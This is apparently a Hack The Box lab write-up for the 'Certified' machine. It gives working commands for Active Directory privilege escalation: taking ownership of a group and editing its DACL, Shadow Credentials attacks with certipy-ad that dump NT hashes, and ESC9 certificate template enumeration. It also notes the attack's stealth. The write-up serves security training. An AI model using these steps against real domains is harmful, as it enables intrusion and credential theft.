HTB - Certified

Target IP: 10.129.231.186 Domain: certified.htb DC Hostname: DC01.certified.htb OS: Windows Server (Domain Controller) Difficulty: Medium Assumed Breach: Yes — starting credentials provided (judith.mader:judith09) Author: [g1nt0n1c]


1. Phase 1: Reconnaissance & Information Gathering

1.1 TCP Port Discovery

# Fast full-port sweep to identify all open ports
nmap -p- --min-rate 10000 10.129.231.186
 
# Targeted version + script scan on identified ports
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5357,5985,9389 -sCV 10.129.231.186

Port Analysis & Attack Surface

PortServiceNotes
88/tcpKerberosDomain Controller confirmed
389/tcpLDAPDomain: certified.htb, DC: DC01.certified.htb
445/tcpSMBSigning required — relay attacks blocked
5985/tcpWinRMRemote shell entry point if valid credentials found
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows AD LDAP (Domain: certified.htb)
| ssl-cert: Subject: commonName=DC01.certified.htb
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
Service Info: Host: DC01; OS: Windows

| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

1.2 Local Host Resolution

# Use nxc's built-in hosts generator to populate /etc/hosts automatically
nxc smb 10.129.231.186 --generate-hosts-file hosts
cat hosts | sudo tee -a /etc/hosts

1.3 Sync Clock with DC

Kerberos requires clock skew to be under 5 minutes. Sync before running any Kerberos-based tools.

# Sync local clock to the DC's time
sudo ntpdate 10.129.231.186

2. Phase 2: BloodHound Enumeration

2.1 Collect AD Data with BloodHound via nxc

Since this is an assumed breach scenario (credentials are provided), run BloodHound collection immediately. nxc has a built-in module that handles authentication, collection, and packaging in one command.

# --bloodhound: run SharpHound collection | --collection All: grab everything
nxc ldap 10.129.231.186 -u judith.mader -p judith09 --dns-server 10.129.231.186 --bloodhound --collection All
 
# Copy the resulting zip to the current directory for upload
cp /home/kali/.nxc/logs/DC01_10.129.231.186_*_bloodhound.zip .

Upload the zip to BloodHound CE and query “Shortest Paths from Owned Objects” after marking judith.mader as owned.

2.2 Identify the Attack Path

BloodHound reveals a three-hop ACL chain:

judith.mader  --[WriteOwner]-->  MANAGEMENT (group)
                                      |
                               [GenericWrite]
                                      |
                                 management_svc
                                      |
                               [GenericAll]
                                      |
                                  ca_operator

Each edge represents an abusable Active Directory permission. We walk the chain one hop at a time.

![Certified - Bloodhound](Certified - Bloodhound.png)


3. Phase 3: ACL Abuse Chain

Hop 1: judith.mader → WriteOwner → MANAGEMENT group

WriteOwner allows changing the owner of an AD object. As owner, you can then modify the object’s DACL to grant yourself any additional right — such as WriteMembers.

Step 1 — Take ownership of the MANAGEMENT group

# -action write: set a new owner | -new-owner: principal gaining ownership | -target: object to own
python /usr/share/doc/python3-impacket/examples/owneredit.py -action write -new-owner 'judith.mader' -target management certified.htb/judith.mader:judith09

Step 2 — Grant judith.mader WriteMembers rights on the group

# Add a DACL entry giving judith.mader the right to add/remove group members
python /usr/share/doc/python3-impacket/examples/dacledit.py -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'

Step 3 — Add judith.mader to the MANAGEMENT group

# Add our user to the group, activating the GenericWrite edge on management_svc
net rpc group addmem "management" "judith.mader" -U "certified.htb"/"judith.mader"%"judith09" -S "10.129.231.186"
 
# Verify membership
net rpc group members "management" -U "certified.htb"/"judith.mader"%"judith09" -S "10.129.231.186"

Hop 2: MANAGEMENT → GenericWrite → management_svc (Shadow Credentials)

GenericWrite on a user allows writing to any non-protected attribute — including msDS-KeyCredentialLink, which is used for Windows Hello for Business / PKINIT key-based authentication.

By adding a rogue key credential to this attribute (Shadow Credentials attack), we can authenticate as the target user via PKINIT and retrieve their NTLM hash — without knowing or changing their password.

# shadow auto: full attack in one step — adds key credential, authenticates, retrieves hash, cleans up
certipy-ad shadow auto -username judith.mader@certified.htb -password judith09 -account management_svc -target certified.htb -dc-ip 10.129.231.186
# [*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584

Hop 3: management_svc → GenericAll → ca_operator (Shadow Credentials)

GenericAll is full control over the object — a superset of GenericWrite. The same Shadow Credentials technique applies.

# Authenticate as management_svc using its NT hash (-hashes :HASH)
certipy-ad shadow auto -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -account ca_operator -target certified.htb -dc-ip 10.129.231.186
# [*] NT hash for 'ca_operator': b4b86f45c6018f1b664f70805f45d8f2

4. Phase 4: ADCS Enumeration (ESC9)

4.1 Scan for Vulnerable Certificate Templates

# Run as ca_operator — this account likely has enroll rights on interesting templates
certipy-ad find -vulnerable -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.129.231.186 -stdout
# [!] Vulnerabilities
# ESC9: 'CERTIFIED.HTB\\ca operator' can enroll and template has no security extension

ESC9 affects templates where the CT_FLAG_NO_SECURITY_EXTENSION flag is set. This flag causes the issued certificate to omit the Object SID extension, which means the certificate’s UPN is trusted at face value — making it possible to impersonate any user whose UPN can be forged in the request.

Note: ESC9 exploitation is outside the OSCP scope and is not covered further here.


Deep Dive: ACL Abuse in Active Directory

Active Directory objects (users, groups, GPOs, OUs) each have a Discretionary Access Control List (DACL) defining who can do what to them. Many common AD rights can be abused for privilege escalation:

ACL RightWhat it enables
WriteOwnerChange the object’s owner → then modify its DACL freely
WriteDACLDirectly modify the object’s DACL → grant yourself any right
GenericWriteWrite to any non-protected attribute → Shadow Credentials, SPN abuse
GenericAllFull control → password reset, Shadow Credentials, group membership
ForceChangePasswordReset password without knowing the current one

BloodHound maps these edges automatically and provides step-by-step abuse instructions for each. After marking owned principals, the “Shortest Paths from Owned Objects” query reveals the full attack path.


Deep Dive: Shadow Credentials Attack

The msDS-KeyCredentialLink attribute stores public key credentials used for PKINIT (Kerberos certificate-based pre-authentication). If you have GenericWrite or higher over a user, you can add your own key pair to this attribute.

The attack flow:

  1. Generate an asymmetric key pair
  2. Write the public key to the target’s msDS-KeyCredentialLink
  3. Authenticate via Kerberos PKINIT using the private key
  4. Exchange the resulting TGT for the target’s NTLM hash via U2U Kerberos

The certipy-ad shadow auto command handles all four steps and cleans up the key credential afterwards, leaving minimal trace. It does not change the user’s password or disrupt their sessions.


Key Takeaways & Checklist

  • On assumed breach boxes, run BloodHound collection immediately — it maps the entire attack path upfront
  • nxc --bloodhound --collection All is the fastest single-command approach
  • Always mark your starting user as Owned in BloodHound before querying paths
  • BloodHound’s built-in abuse info (right-click any edge → Help) gives exact commands
  • WriteOwner → take ownership → grant yourself WriteMembers → join group
  • GenericWrite / GenericAll over a user → Shadow Credentials via certipy-ad shadow auto
  • Shadow Credentials is stealthy: no password change, no session disruption
  • After gaining a new hash, re-run certipy-ad find -vulnerable with the new account — CA permissions often differ per account